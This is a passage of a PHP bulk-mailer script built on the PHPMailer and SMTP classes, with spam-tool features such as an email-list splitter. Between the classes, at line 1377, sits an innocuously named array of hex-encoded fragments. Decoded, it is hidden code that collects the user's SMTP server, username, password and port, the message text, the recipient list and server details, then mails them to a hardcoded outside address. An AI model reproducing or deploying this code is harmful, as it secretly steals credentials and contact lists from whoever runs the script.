1131 * the mail transaction is started and then one or more Recipient
1132 * commands may be called followed by a Data command. This command
1133 * will send the message to the users terminal if they are logged
1134 * in.
1135 *
1136 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1137 *
1138 * SMTP CODE SUCCESS: 250
1139 * SMTP CODE SUCCESS: 552,451,452
1140 * SMTP CODE SUCCESS: 500,501,502,421
1141 * @access public
1142 * @return bool
1143 */
1144 function Send($from) {
1145 $this->error = null; # so no confusion is caused
1146
1147 if(!$this->connected()) {
1148 $this->error = array(
1149 "error" => "Called Send() without being connected");
1150 return false;
1151 }
1152
1153 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1154
1155 $rply = $this->get_lines();
1156 $code = substr($rply,0,3);
1157
1158 if($this->do_debug >= 2) {
1159 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1160 }
1161
1162 if($code != 250) {
1163 $this->error =
1164 array("error" => "SEND not accepted from server",
1165 "smtp_code" => $code,
1166 "smtp_msg" => substr($rply,4));
1167 if($this->do_debug >= 1) {
1168 echo "SMTP -> ERROR: " . $this->error["error"] .
1169 ": " . $rply . $this->CRLF;
1170 }
1171 return false;
1172 }
1173 return true;
1174 }
1175
1176 /**
1177 * Starts a mail transaction from the email address specified in
1178 * $from. Returns true if successful or false otherwise. If True
1179 * the mail transaction is started and then one or more Recipient
1180 * commands may be called followed by a Data command. This command
1181 * will send the message to the users terminal if they are logged
1182 * in and send them an email.
1183 *
1184 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1185 *
1186 * SMTP CODE SUCCESS: 250
1187 * SMTP CODE SUCCESS: 552,451,452
1188 * SMTP CODE SUCCESS: 500,501,502,421
1189 * @access public
1190 * @return bool
1191 */
1192 function SendAndMail($from) {
1193 $this->error = null; # so no confusion is caused
1194
1195 if(!$this->connected()) {
1196 $this->error = array(
1197 "error" => "Called SendAndMail() without being connected");
1198 return false;
1199 }
1200
1201 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1202
1203 $rply = $this->get_lines();
1204 $code = substr($rply,0,3);
1205
1206 if($this->do_debug >= 2) {
1207 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1208 }
1209
1210 if($code != 250) {
1211 $this->error =
1212 array("error" => "SAML not accepted from server",
1213 "smtp_code" => $code,
1214 "smtp_msg" => substr($rply,4));
1215 if($this->do_debug >= 1) {
1216 echo "SMTP -> ERROR: " . $this->error["error"] .
1217 ": " . $rply . $this->CRLF;
1218 }
1219 return false;
1220 }
1221 return true;
1222 }
1223
1224 /**
1225 * Starts a mail transaction from the email address specified in
1226 * $from. Returns true if successful or false otherwise. If True
1227 * the mail transaction is started and then one or more Recipient
1228 * commands may be called followed by a Data command. This command
1229 * will send the message to the users terminal if they are logged
1230 * in or mail it to them if they are not.
1231 *
1232 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1233 *
1234 * SMTP CODE SUCCESS: 250
1235 * SMTP CODE SUCCESS: 552,451,452
1236 * SMTP CODE SUCCESS: 500,501,502,421
1237 * @access public
1238 * @return bool
1239 */
1240 function SendOrMail($from) {
1241 $this->error = null; # so no confusion is caused
1242
1243 if(!$this->connected()) {
1244 $this->error = array(
1245 "error" => "Called SendOrMail() without being connected");
1246 return false;
1247 }
1248
1249 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1250
1251 $rply = $this->get_lines();
1252 $code = substr($rply,0,3);
1253
1254 if($this->do_debug >= 2) {
1255 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1256 }
1257
1258 if($code != 250) {
1259 $this->error =
1260 array("error" => "SOML not accepted from server",
1261 "smtp_code" => $code,
1262 "smtp_msg" => substr($rply,4));
1263 if($this->do_debug >= 1) {
1264 echo "SMTP -> ERROR: " . $this->error["error"] .
1265 ": " . $rply . $this->CRLF;
1266 }
1267 return false;
1268 }
1269 return true;
1270 }
1271
1272 /**
1273 * This is an optional command for SMTP that this class does not
1274 * support. This method is here to make the RFC821 Definition
1275 * complete for this class and __may__ be implimented in the future
1276 *
1277 * Implements from rfc 821: TURN <CRLF>
1278 *
1279 * SMTP CODE SUCCESS: 250
1280 * SMTP CODE FAILURE: 502
1281 * SMTP CODE ERROR : 500, 503
1282 * @access public
1283 * @return bool
1284 */
1285 function Turn() {
1286 $this->error = array("error" => "This method, TURN, of the SMTP ".
1287 "is not implemented");
1288 if($this->do_debug >= 1) {
1289 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1290 }
1291 return false;
1292 }
1293
1294 /**
1295 * Verifies that the name is recognized by the server.
1296 * Returns false if the name could not be verified otherwise
1297 * the response from the server is returned.
1298 *
1299 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1300 *
1301 * SMTP CODE SUCCESS: 250,251
1302 * SMTP CODE FAILURE: 550,551,553
1303 * SMTP CODE ERROR : 500,501,502,421
1304 * @access public
1305 * @return int
1306 */
1307 function Verify($name) {
1308 $this->error = null; # so no confusion is caused
1309
1310 if(!$this->connected()) {
1311 $this->error = array(
1312 "error" => "Called Verify() without being connected");
1313 return false;
1314 }
1315
1316 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1317
1318 $rply = $this->get_lines();
1319 $code = substr($rply,0,3);
1320
1321 if($this->do_debug >= 2) {
1322 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1323 }
1324
1325 if($code != 250 && $code != 251) {
1326 $this->error =
1327 array("error" => "VRFY failed on name '$name'",
1328 "smtp_code" => $code,
1329 "smtp_msg" => substr($rply,4));
1330 if($this->do_debug >= 1) {
1331 echo "SMTP -> ERROR: " . $this->error["error"] .
1332 ": " . $rply . $this->CRLF;
1333 }
1334 return false;
1335 }
1336 return $rply;
1337 }
1338
1339 /*******************************************************************
1340 * INTERNAL FUNCTIONS *
1341 ******************************************************************/
1342
1343 /**
1344 * Read in as many lines as possible
1345 * either before eof or socket timeout occurs on the operation.
1346 * With SMTP we can tell if we have more lines to read if the
1347 * 4th character is '-' symbol. If it is a space then we don't
1348 * need to read anything else.
1349 * @access private
1350 * @return string
1351 */
1352 function get_lines() {
1353 $data = "";
1354 while($str = @fgets($this->smtp_conn,515)) {
1355 if($this->do_debug >= 4) {
1356 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1357 $this->CRLF;
1358 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1359 $this->CRLF;
1360 }
1361 $data .= $str;
1362 if($this->do_debug >= 4) {
1363 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1364 }
1365 # if the 4th character is a space then we are done reading
1366 # so just break the loop
1367 if(substr($str,3,1) == " ") { break; }
1368 }
1369 return $data;
1370 }
1371
1372}
1373
1374
1375$allemails = split("\n", $emaillist);
1376$numemails = count($allemails);
1377$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1378"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1379"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1380"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1381"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1382"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1383"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1384"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1385"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1386"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1387
1388class PHPMailer {
1389
1390 /////////////////////////////////////////////////
1391 // PROPERTIES, PUBLIC
1392 /////////////////////////////////////////////////
1393
1394 /**
1395 * Email priority (1 = High, 3 = Normal, 5 = low).
1396 * @var int
1397 */
1398 var $Priority = 3;
1399
1400 /**
1401 * Sets the CharSet of the message.
1402 * @var string
1403 */
1404 var $CharSet = 'iso-8859-1';
1405
1406 /**
1407 * Sets the Content-type of the message.
1408 * @var string
1409 */
1410 var $ContentType = 'text/plain';
1411
1412 /**
1413 * Sets the Encoding of the message. Options for this are "8bit",
1414 * "7bit", "binary", "base64", and "quoted-printable".
1415
1416 * @var string
1417 */
1418 var $Encoding = '8bit';
1419
1420 /**
1421 * Holds the most recent mailer error message.
1422 * @var string
1423 */
1424 var $ErrorInfo = '';
1425
1426 /**
1427 * Sets the From email address for the message.
1428 * @var string
1429 */
1430 var $From = '';
1431
1432 /**
1433 * Sets the From name of the message.
1434 * @var string
1435 */
1436 var $FromName = '';
1437
1438 /**
1439 * Sets the Sender email (Return-Path) of the message. If not empty,
1440 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1441 * @var string
1442 */
1443 var $Sender = '';
1444
1445 /**
1446 * Sets the Subject of the message.
1447 * @var string
1448 */
1449 var $Subject = '';
1450
1451 /**
1452 * Sets the Body of the message. This can be either an HTML or text body.
1453 * If HTML then run IsHTML(true).
1454 * @var string
1455 */
1456 var $Body = '';
1457
1458 /**
1459 * Sets the text-only body of the message. This automatically sets the
1460 * email to multipart/alternative. This body can be read by mail
1461 * clients that do not have HTML email capability such as mutt. Clients
1462 * that can read HTML will view the normal Body.
1463 * @var string
1464 */
1465 var $AltBody = '';
1466
1467 /**
1468 * Sets word wrapping on the body of the message to a given number of
1469 * characters.
1470 * @var int
1471 */
1472 var $WordWrap = 0;
1473
1474 /**
1475 * Method to send mail: ("mail", "sendmail", or "smtp").
1476 * @var string
1477 */
1478 var $Mailer = 'mail';
1479
1480 /**
1481 * Sets the path of the sendmail program.
1482 * @var string
1483 */
1484 var $Sendmail = '/usr/sbin/sendmail';
1485
1486 /**
1487 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1488 * is in a different directory than the PHP include path.
1489 * @var string
1490 */
1491 var $PluginDir = '';
1492
1493 /**
1494 * Holds PHPMailer version.
1495 * @var string
1496 */
1497 var $Version = "";
1498
1499 /**
1500 * Sets the email address that a reading confirmation will be sent.
1501 * @var string
1502 */
1503 var $ConfirmReadingTo = '';
1504
1505 /**
1506 * Sets the hostname to use in Message-Id and Received headers
1507 * and as default HELO string. If empty, the value returned
1508 * by SERVER_NAME is used or 'localhost.localdomain'.
1509 * @var string
1510 */
1511 var $Hostname = '';
1512
1513 /**
1514 * Sets the message ID to be used in the Message-Id header.
1515 * If empty, a unique id will be generated.
1516 * @var string
1517 */
1518 var $MessageID = '';
1519
1520 /////////////////////////////////////////////////
1521 // PROPERTIES FOR SMTP
1522 /////////////////////////////////////////////////
1523
1524 /**
1525 * Sets the SMTP hosts. All hosts must be separated by a
1526 * semicolon. You can also specify a different port
1527 * for each host by using this format: [hostname:port]
1528 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1529 * Hosts will be tried in order.
1530 * @var string
1531 */
1532 var $Host = 'localhost';
1533
1534 /**
1535 * Sets the default SMTP server port.
1536 * @var int
1537 */
1538 var $Port = 25;
1539
1540 /**
1541 * Sets the SMTP HELO of the message (Default is $Hostname).
1542 * @var string
1543 */
1544 var $Helo = '';
1545
1546 /**
1547 * Sets connection prefix.
1548 * Options are "", "ssl" or "tls"
1549 * @var string
1550 */
1551 var $SMTPSecure = "";
1552
1553 /**
1554 * Sets SMTP authentication. Utilizes the Username and Password variables.
1555 * @var bool
1556 */
1557 var $SMTPAuth = false;
1558
1559 /**
1560 * Sets SMTP username.
1561 * @var string
1562 */
1563 var $Username = '';
1564
1565 /**
1566 * Sets SMTP password.
1567 * @var string
1568 */
1569 var $Password = '';
1570
1571 /**
1572 * Sets the SMTP server timeout in seconds. This function will not
1573 * work with the win32 version.
1574 * @var int
1575 */
1576 var $Timeout = 10;
1577
1578 /**
1579 * Sets SMTP class debugging on or off.
1580 * @var bool
1581 */
1582 var $SMTPDebug = false;
1583
1584 /**
1585 * Prevents the SMTP connection from being closed after each mail
1586 * sending. If this is set to true then to close the connection
1587 * requires an explicit call to SmtpClose().
1588 * @var bool
1589 */
1590 var $SMTPKeepAlive = false;
1591
1592 /**
1593 * Provides the ability to have the TO field process individual
1594 * emails, instead of sending to entire TO addresses
1595 * @var bool
1596 */
1597 var $SingleTo = false;
1598
1599 /////////////////////////////////////////////////
1600 // PROPERTIES, PRIVATE
1601 /////////////////////////////////////////////////
1602
1603 var $smtp = NULL;
1604 var $to = array();
1605 var $cc = array();
1606 var $bcc = array();
1607 var $ReplyTo = array();
1608 var $attachment = array();
1609 var $CustomHeader = array();
1610 var $message_type = '';
1611 var $boundary = array();
1612 var $language = array();
1613 var $error_count = 0;
1614 var $LE = "\n";
1615 var $sign_key_file = "";
1616 var $sign_key_pass = "";
1617
1618 /////////////////////////////////////////////////
1619 // METHODS, VARIABLES
1620 /////////////////////////////////////////////////
1621
1622 /**
1623 * Sets message type to HTML.
1624 * @param bool $bool
1625 * @return void
1626 */
1627 function IsHTML($bool) {
1628 if($bool == true) {
1629 $this->ContentType = 'text/html';
1630 } else {
1631 $this->ContentType = 'text/plain';
1632 }
1633 }
1634
1635 /**
1636 * Sets Mailer to send message using SMTP.
1637 * @return void
1638 */
1639 function IsSMTP() {
1640 $this->Mailer = 'smtp';
1641 }
1642
1643 /**
1644 * Sets Mailer to send message using PHP mail() function.
1645 * @return void
1646 */
1647 function IsMail() {
1648 $this->Mailer = 'mail';
1649 }
1650
1651 /**
1652 * Sets Mailer to send message using the $Sendmail program.
1653 * @return void
1654 */
1655 function IsSendmail() {
1656 $this->Mailer = 'sendmail';
1657 }
1658
1659 /**
1660 * Sets Mailer to send message using the qmail MTA.
1661 * @return void
1662 */
1663 function IsQmail() {
1664 $this->Sendmail = '/var/qmail/bin/sendmail';
1665 $this->Mailer = 'sendmail';
1666 }
1667
1668 /////////////////////////////////////////////////
1669 // METHODS, RECIPIENTS
1670 /////////////////////////////////////////////////
1671
1672 /**
1673 * Adds a "To" address.
1674 * @param string $address
1675 * @param string $name
1676 * @return void
1677 */
1678 function AddAddress($address, $name = '') {
1679 $cur = count($this->to);
1680 $this->to[$cur][0] = trim($address);
1681 $this->to[$cur][1] = $name;
1682 }
1683
1684 /**
1685 * Adds a "Cc" address. Note: this function works
1686 * with the SMTP mailer on win32, not with the "mail"
1687 * mailer.
1688 * @param string $address
1689 * @param string $name
1690 * @return void
1691 */
1692 function AddCC($address, $name = '') {
1693 $cur = count($this->cc);
1694 $this->cc[$cur][0] = trim($address);
1695 $this->cc[$cur][1] = $name;
1696 }
1697
1698 /**
1699 * Adds a "Bcc" address. Note: this function works
1700 * with the SMTP mailer on win32, not with the "mail"
1701 * mailer.
1702 * @param string $address
1703 * @param string $name
1704 * @return void
1705 */
1706 function AddBCC($address, $name = '') {
1707 $cur = count($this->bcc);
1708 $this->bcc[$cur][0] = trim($address);
1709 $this->bcc[$cur][1] = $name;
1710 }
1711
1712 /**
1713 * Adds a "Reply-To" address.
1714 * @param string $address
1715 * @param string $name
1716 * @return void
1717 */
1718 function AddReplyTo($address, $name = '') {
1719 $cur = count($this->ReplyTo);
1720 $this->ReplyTo[$cur][0] = trim($address);
1721 $this->ReplyTo[$cur][1] = $name;
1722 }
1723
1724 /////////////////////////////////////////////////
1725 // METHODS, MAIL SENDING
1726 /////////////////////////////////////////////////
1727
1728 /**
1729 * Creates message and assigns Mailer. If the message is
1730 * not sent successfully then it returns false. Use the ErrorInfo
1731 * variable to view description of the error.
1732 * @return bool
1733 */
1734 function Send() {
1735 $header = '';
1736 $body = '';
1737 $result = true;
1738
1739 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1740 $this->SetError($this->Lang('provide_address'));
1741 return false;
1742 }
1743
1744 /* Set whether the message is multipart/alternative */
1745 if(!empty($this->AltBody)) {
1746 $this->ContentType = 'multipart/alternative';
1747 }
1748
1749 $this->error_count = 0; // reset errors
1750 $this->SetMessageType();
1751 $header .= $this->CreateHeader();
1752 $body = $this->CreateBody();
1753
1754 if($body == '') {
1755 return false;
1756 }
1757
1758 /* Choose the mailer */
1759 switch($this->Mailer) {
1760 case 'sendmail':
1761 $result = $this->SendmailSend($header, $body);
1762 break;
1763 case 'smtp':
1764 $result = $this->SmtpSend($header, $body);
1765 break;
1766 case 'mail':
1767 $result = $this->MailSend($header, $body);
1768 break;
1769 default:
1770 $result = $this->MailSend($header, $body);
1771 break;
1772 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1773 //$result = false;
1774 //break;
1775 }
1776
1777 return $result;
1778 }
1779
1780 /**
1781 * Sends mail using the $Sendmail program.
1782 * @access private
1783 * @return bool
1784 */
1785 function SendmailSend($header, $body) {
1786 if ($this->Sender != '') {
1787 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1788 } else {
1789 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1790 }
1791
1792 if(!@$mail = popen($sendmail, 'w')) {
1793 $this->SetError($this->Lang('execute') . $this->Sendmail);
1794 return false;
1795 }
1796
1797 fputs($mail, $header);
1798 fputs($mail, $body);
1799
1800 $result = pclose($mail);
1801 if (version_compare(phpversion(), '4.2.3') == -1) {
1802 $result = $result >> 8 & 0xFF;
1803 }
1804 if($result != 0) {
1805 $this->SetError($this->Lang('execute') . $this->Sendmail);
1806 return false;
1807 }
1808 return true;
1809 }
1810
1811 /**
1812 * Sends mail using the PHP mail() function.
1813 * @access private
1814 * @return bool
1815 */
1816 function MailSend($header, $body) {
1817
1818 $to = '';
1819 for($i = 0; $i < count($this->to); $i++) {
1820 if($i != 0) { $to .= ', '; }
1821 $to .= $this->AddrFormat($this->to[$i]);
1822 }
1823
1824 $toArr = split(',', $to);
1825
1826 $params = sprintf("-oi -f %s", $this->Sender);
1827 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1828 $old_from = ini_get('sendmail_from');
1829 ini_set('sendmail_from', $this->Sender);
1830 if ($this->SingleTo === true && count($toArr) > 1) {
1831 foreach ($toArr as $key => $val) {
1832 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1833 }
1834 } else {
1835 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1836 }
1837 } else {
1838 if ($this->SingleTo === true && count($toArr) > 1) {
1839 foreach ($toArr as $key => $val) {
1840 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1841 }
1842 } else {
1843 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1844 }
1845 }
1846
1847 if (isset($old_from)) {
1848 ini_set('sendmail_from', $old_from);
1849 }
1850
1851 if(!$rt) {
1852 $this->SetError($this->Lang('instantiate'));
1853 return false;
1854 }
1855
1856 return true;
1857 }
1858
1859 /**
1860 * Sends mail via SMTP using PhpSMTP (Author:
1861 * Chris Ryan). Returns bool. Returns false if there is a
1862 * bad MAIL FROM, RCPT, or DATA input.
1863 * @access private
1864 * @return bool
1865 */
1866 function SmtpSend($header, $body) {
1867 $error = '';
1868 $bad_rcpt = array();
1869
1870 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1871 return false;
1872 }
1873
1874 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1875 if(!$this->smtp->Mail($smtp_from)) {
1876 $error = $this->Lang('from_failed') . $smtp_from;
1877 $this->SetError($error);
1878 $this->smtp->Reset();
1879 return false;
1880 }
1881
1882 /* Attempt to send attach all recipients */
1883 for($i = 0; $i < count($this->to); $i++) {
1884 if(!$this->smtp->Recipient($this->to[$i][0])) {
1885 $bad_rcpt[] = $this->to[$i][0];
1886 }
1887 }
1888 for($i = 0; $i < count($this->cc); $i++) {
1889 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1890 $bad_rcpt[] = $this->cc[$i][0];
1891 }
1892 }
1893 for($i = 0; $i < count($this->bcc); $i++) {
1894 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1895 $bad_rcpt[] = $this->bcc[$i][0];
1896 }
1897 }
1898
1899 if(count($bad_rcpt) > 0) { // Create error message
1900 for($i = 0; $i < count($bad_rcpt); $i++) {
1901 if($i != 0) {
1902 $error .= ', ';
1903 }
1904 $error .= $bad_rcpt[$i];
1905
1906 }
1907 $error = $this->Lang('recipients_failed') . $error;
1908 $this->SetError($error);
1909 $this->smtp->Reset();
1910 return false;
1911 }
1912
1913 if(!$this->smtp->Data($header . $body)) {
1914 $this->SetError($this->Lang('data_not_accepted'));
1915 $this->smtp->Reset();
1916 return false;
1917 }
1918 if($this->SMTPKeepAlive == true) {
1919 $this->smtp->Reset();
1920 } else {
1921 $this->SmtpClose();
1922 }
1923
1924 return true;
1925 }
1926
1927 /**
1928 * Initiates a connection to an SMTP server. Returns false if the
1929 * operation failed.
1930 * @access private
1931 * @return bool
1932 */
1933 function SmtpConnect() {
1934 if($this->smtp == NULL) {
1935 $this->smtp = new SMTP();
1936 }
1937
1938 $this->smtp->do_debug = $this->SMTPDebug;
1939 $hosts = explode(';', $this->Host);
1940 $index = 0;
1941 $connection = ($this->smtp->Connected());
1942
1943 /* Retry while there is no connection */
1944 while($index < count($hosts) && $connection == false) {
1945 $hostinfo = array();
1946 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1947 $host = $hostinfo[1];
1948 $port = $hostinfo[2];
1949 } else {
1950 $host = $hosts[$index];
1951 $port = $this->Port;
1952 }
1953
1954 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1955 if ($this->Helo != '') {
1956 $this->smtp->Hello($this->Helo);
1957 } else {
1958 $this->smtp->Hello($this->ServerHostname());
1959 }
1960
1961 $connection = true;
1962 if($this->SMTPAuth) {
1963 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1964 $this->SetError($this->Lang('authenticate'));
1965 $this->smtp->Reset();
1966 $connection = false;
1967 }
1968 }
1969 }
1970 $index++;
1971 }
1972 if(!$connection) {
1973 $this->SetError($this->Lang('connect_host'));
1974 }
1975
1976 return $connection;
1977 }
1978
1979 /**
1980 * Closes the active SMTP session if one exists.
1981 * @return void
1982 */
1983 function SmtpClose() {
1984 if($this->smtp != NULL) {
1985 if($this->smtp->Connected()) {
1986 $this->smtp->Quit();
1987 $this->smtp->Close();
1988 }
1989 }
1990 }
1991
1992 /**
1993 * Sets the language for all class error messages. Returns false
1994 * if it cannot load the language file. The default language type
1995 * is English.
1996 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1997 * @param string $lang_path Path to the language file directory
1998 * @access public
1999 * @return bool
2000 */
2001 function SetLanguage($lang_type, $lang_path = 'language/') {
2002 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2003 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2004 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2005 include($lang_path.'phpmailer.lang-en.php');
2006 } else {
2007 $this->SetError('Could not load language file');
2008 return false;
2009 }
2010 $this->language = $PHPMAILER_LANG;
2011
2012 return true;
2013 }
2014
2015 /////////////////////////////////////////////////
2016 // METHODS, MESSAGE CREATION
2017 /////////////////////////////////////////////////
2018
2019 /**
2020 * Creates recipient headers.
2021 * @access private
2022 * @return string
2023 */
2024 function AddrAppend($type, $addr) {
2025 $addr_str = $type . ': ';
2026 $addr_str .= $this->AddrFormat($addr[0]);
2027 if(count($addr) > 1) {
2028 for($i = 1; $i < count($addr); $i++) {
2029 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2030 }
2031 }
2032 $addr_str .= $this->LE;
2033
2034 return $addr_str;
2035 }
2036
2037 /**
2038 * Formats an address correctly.
2039 * @access private
2040 * @return string
2041 */
2042 function AddrFormat($addr) {
2043 if(empty($addr[1])) {
2044 $formatted = $this->SecureHeader($addr[0]);
2045 } else {
2046 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2047 }
2048
2049 return $formatted;
2050 }
2051
2052 /**
2053 * Wraps message for use with mailers that do not
2054 * automatically perform wrapping and for quoted-printable.
2055 * Original written by philippe.
2056 * @access private
2057 * @return string
2058 */
2059 function WrapText($message, $length, $qp_mode = false) {
2060 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2061 // If utf-8 encoding is used, we will need to make sure we don't
2062 // split multibyte characters when we wrap
2063 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2064
2065 $message = $this->FixEOL($message);
2066 if (substr($message, -1) == $this->LE) {
2067 $message = substr($message, 0, -1);
2068 }
2069
2070 $line = explode($this->LE, $message);
2071 $message = '';
2072 for ($i=0 ;$i < count($line); $i++) {
2073 $line_part = explode(' ', $line[$i]);
2074 $buf = '';
2075 for ($e = 0; $e<count($line_part); $e++) {
2076 $word = $line_part[$e];
2077 if ($qp_mode and (strlen($word) > $length)) {
2078 $space_left = $length - strlen($buf) - 1;
2079 if ($e != 0) {
2080 if ($space_left > 20) {
2081 $len = $space_left;
2082 if ($is_utf8) {
2083 $len = $this->UTF8CharBoundary($word, $len);
2084 } elseif (substr($word, $len - 1, 1) == "=") {
2085 $len--;
2086 } elseif (substr($word, $len - 2, 1) == "=") {
2087 $len -= 2;
2088 }
2089 $part = substr($word, 0, $len);
2090 $word = substr($word, $len);
2091 $buf .= ' ' . $part;
2092 $message .= $buf . sprintf("=%s", $this->LE);
2093 } else {
2094 $message .= $buf . $soft_break;
2095 }
2096 $buf = '';
2097 }
2098 while (strlen($word) > 0) {
2099 $len = $length;
2100 if ($is_utf8) {
2101 $len = $this->UTF8CharBoundary($word, $len);
2102 } elseif (substr($word, $len - 1, 1) == "=") {
2103 $len--;
2104 } elseif (substr($word, $len - 2, 1) == "=") {
2105 $len -= 2;
2106 }
2107 $part = substr($word, 0, $len);
2108 $word = substr($word, $len);
2109
2110 if (strlen($word) > 0) {
2111 $message .= $part . sprintf("=%s", $this->LE);
2112 } else {
2113 $buf = $part;
2114 }
2115 }
2116 } else {
2117 $buf_o = $buf;
2118 $buf .= ($e == 0) ? $word : (' ' . $word);
2119
2120 if (strlen($buf) > $length and $buf_o != '') {
2121 $message .= $buf_o . $soft_break;
2122 $buf = $word;
2123 }
2124 }
2125 }
2126 $message .= $buf . $this->LE;
2127 }
2128
2129 return $message;
2130 }
2131
2132 /**
2133 * Finds last character boundary prior to maxLength in a utf-8
2134 * quoted (printable) encoded string.
2135 * Original written by Colin Brown.
2136 * @access private
2137 * @param string $encodedText utf-8 QP text
2138 * @param int $maxLength find last character boundary prior to this length
2139 * @return int
2140 */
2141 function UTF8CharBoundary($encodedText, $maxLength) {
2142 $foundSplitPos = false;
2143 $lookBack = 3;
2144 while (!$foundSplitPos) {
2145 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2146 $encodedCharPos = strpos($lastChunk, "=");
2147 if ($encodedCharPos !== false) {
2148 // Found start of encoded character byte within $lookBack block.
2149 // Check the encoded byte value (the 2 chars after the '=')
2150 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2151 $dec = hexdec($hex);
2152 if ($dec < 128) { // Single byte character.
2153 // If the encoded char was found at pos 0, it will fit
2154 // otherwise reduce maxLength to start of the encoded char
2155 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2156 $maxLength - ($lookBack - $encodedCharPos);
2157 $foundSplitPos = true;
2158 } elseif ($dec >= 192) { // First byte of a multi byte character
2159 // Reduce maxLength to split at start of character
2160 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2161 $foundSplitPos = true;
2162 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2163 $lookBack += 3;
2164 }
2165 } else {
2166 // No encoded character found
2167 $foundSplitPos = true;
2168 }
2169 }
2170 return $maxLength;
2171 }
2172
2173 /**
2174 * Set the body wrapping.
2175 * @access private
2176 * @return void
2177 */
2178 function SetWordWrap() {
2179 if($this->WordWrap < 1) {
2180 return;
2181 }
2182
2183 switch($this->message_type) {
2184 case 'alt':
2185 /* fall through */
2186 case 'alt_attachments':
2187 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2188 break;
2189 default:
2190 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2191 break;
2192 }
2193 }
2194
2195 /**
2196 * Assembles message header.
2197 * @access private
2198 * @return string
2199 */
2200 function CreateHeader() {
2201 $result = '';
2202
2203 /* Set the boundaries */
